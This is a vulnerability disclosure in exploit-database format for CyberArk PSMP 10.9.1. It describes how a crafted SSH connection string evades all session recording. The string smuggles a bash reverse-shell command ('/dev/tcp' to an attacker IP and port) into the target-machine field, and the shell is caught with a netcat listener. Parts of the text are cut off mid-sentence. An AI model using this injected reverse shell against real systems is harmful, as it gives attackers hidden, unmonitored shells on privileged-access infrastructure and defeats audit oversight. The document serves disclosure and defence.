# Exploit Title: CyberArk PSMP 10.9.1 - Policy Restriction Bypass  
# Google Dork: NA  
# Date: 2020-02-25  
# Exploit Author: LAHBAL Said  
# Vendor Homepage:  
# Software Link:  
# Version: PSMP <=10.9.1  
# Tested on: PSMP 10.9 & PSMP 10.9.1  
# CVE : N/A  
# Patched : PSMP >= 11.1  
Policy allows us to overwrite PSMRemoteMachine  
An issue was discovered in CyberArk Privileged Session Manager SSH Proxy  
through 10.9.1.  
All recordings mechanisms (Keystoke, SSH Text Recorder and video) can be  
because users entries are not properly validated.  
Commands executed in a reverse shell are not monitored.  
The connection process will freeze just after the "session is being  
recorded" banner and the all commands we enter are not monitored.  
[Additional Information]  
We can got a reverse shell (or execute any command we want) from remote  
target and be completely invisible from CyberArk. In logs, we have only  
both PSMConnect and PSMDisconnect events.  
Here are details of the attack :  
1. I connect through CyberArk PSMP server using this  
connection string : ssh <vaultUserName>%username+address%'remoteMachine  
bash -i >& /dev/tcp/<AttackerIP>/<AttackerPort0>&1'@<psmpServer>  
Example : ssh slahbal%sharedLinuxAccount+test.intra%'linux01 bash -i >&  
/dev/tcp/ 0>&1'@psmp  
3. This connection string will :  
- Connect me to linux01 using sharedLinuxAccount account that is stored  
into CyberArk and to which I have access.  
- Create a reverse shell to my workstation (nc.exe is  
listening on port 443 for this test).  
4. The connection process will freeze just after "The sessions is being  
recorded" banner  
5. I got a reverse shell on which all commands ar not monitored.  
Note 1 : The command that created the reverse shell is NOT captured by  
Note 2 : sshd_config has been set with those parameters :  
PSMP_AdditionalDelimiter %  
PSMP_TargetAddressPortAdditionalDelimiter +  
[VulnerabilityType Other]  
Bypass all recordings mechanisms (Keystoke, SSH Text Recorder and video)  
[Vendor of Product]  
[Affected Product Code Base]  
PSMP - <=10.9.1  
[Affected Component]  
[Attack Type]  
[CVE Impact Other]  
The vulnerability allow you to connect through CyberArk PSMP server  
bypassing all recordings mechanisms  
[Attack Vectors]  
To exploit the vulnerability, someone must connect through PSMP using a  
crafted connection string.  
[Has vendor confirmed or acknowledged the vulnerability?]